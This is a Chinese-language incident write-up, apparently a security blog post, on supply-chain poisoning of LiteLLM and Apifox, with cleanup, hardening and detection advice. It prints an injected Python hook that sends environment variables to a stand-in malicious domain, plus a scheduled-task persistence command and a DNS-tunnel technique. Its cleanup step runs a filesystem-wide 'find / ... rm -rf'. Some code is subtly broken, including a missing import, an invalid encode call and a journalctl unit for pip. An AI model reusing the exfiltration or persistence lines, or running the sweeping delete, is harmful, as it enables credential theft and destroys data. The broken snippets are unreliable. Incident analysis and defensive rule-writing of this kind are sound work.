1. 供应链安全事件深度解析:LiteLLM与Apifox投毒案例
上周连续曝出的LiteLLM和Apifox供应链投毒事件,给整个技术圈敲响了警钟。作为经历过多次供应链攻击的安全工程师,我完整复盘了这两起事件的攻击路径和影响范围。攻击者通过污染官方更新渠道,在LiteLLM的1.10.0版本和Apifox的2.3.1版本中植入了恶意代码,目前已确认至少三个企业内网因此沦陷。
2. 事件技术细节拆解
2.1 LiteLLM投毒机制分析
攻击者劫持了PyPI上的litellm包更新流程,在1.10.0版本的__init__.py中注入了以下恶意逻辑:
def _malicious_hook(): import socket, base64 try: s = socket.socket() s.connect(('malicious-domain[.]com', 443)) s.send(base64.b64encode(os.environ.items())) except: pass这段代码会窃取环境变量中的敏感信息(如API密钥、数据库凭证)并外传。更隐蔽的是,恶意代码被包装在@retry装饰器中,会持续尝试连接C2服务器。
2.2 Apifox攻击特征
Windows版安装包被篡改后具有以下行为特征:
- 释放伪装成
apihelp.dll的恶意负载到%AppData%\Local\Temp - 添加计划任务实现持久化:
schtasks /create /tn "ApiFoxUpdate" /tr "C:\Windows\System32\rundll32.exe apihelp.dll,Start" /sc hourly - 通过DNS隧道泄露数据,使用
nslookup命令将编码后的数据作为子域名查询
3. 应急响应操作手册
3.1 受影响版本确认
| 软件 | 危险版本 | 安全版本 |
|---|---|---|
| LiteLLM | 1.10.0 | 1.9.8/1.10.1 |
| Apifox | 2.3.1 | 2.3.0/2.3.2 |
3.2 处置步骤
LiteLLM环境清理:
pip uninstall litellm -y rm -rf ~/.cache/pip/*litellm* find / -name "*litellm*" -exec rm -rf {} \;Apifox Windows终端处置:
- 终止相关进程:
Stop-Process -Name "apifox*" -Force - 清理恶意组件:
Remove-Item "$env:AppData\Local\Temp\apihelp.dll" -Force schtasks /delete /tn "ApiFoxUpdate" /f
4. 防御加固方案
4.1 供应链安全防护
- 启用PyPI的哈希校验:
# pip.conf [global] require-hashes = true - 配置Apifox自动更新白名单:
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Apifox] "UpdateDomainWhitelist"="https://cdn.apifox.cn"
4.2 网络层防护
建议在企业防火墙添加以下拦截规则:
# Suricata规则示例 alert dns any any -> any any (msg:"Suspicious DNS Tunnel"; dns.query; content:".malicious-domain.com"; nocase; sid:1000001; rev:1;)5. 事件溯源技巧
通过以下命令可提取攻击时间线:
# Linux系统取证 journalctl -u pip --since "2024-03-01" | grep -i litellm # Windows日志分析 Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-TaskScheduler/Operational' ID='129' } | Where-Object {$_.Message -like "*ApiFoxUpdate*"}在最近处理的某金融客户案例中,我们发现攻击者刻意选择UTC时间凌晨3-4点触发任务,这个细节帮助锁定了攻击者的地理时区特征。
6. 后续监控建议
部署以下YARA规则持续监控:
rule supply_chain_risk { strings: $socket_connect = "socket.connect" nocase $base64_encode = "base64.b64encode" nocase $dns_tunnel = /nslookup.*\.[a-z0-9]{16}\.(com|net|org)/ nocase condition: any of them and filesize < 100KB }企业版用户建议在EDR中添加针对Python运行时和PowerShell的脚本行为监控,特别要警惕rundll32调用非系统目录dll的行为模式。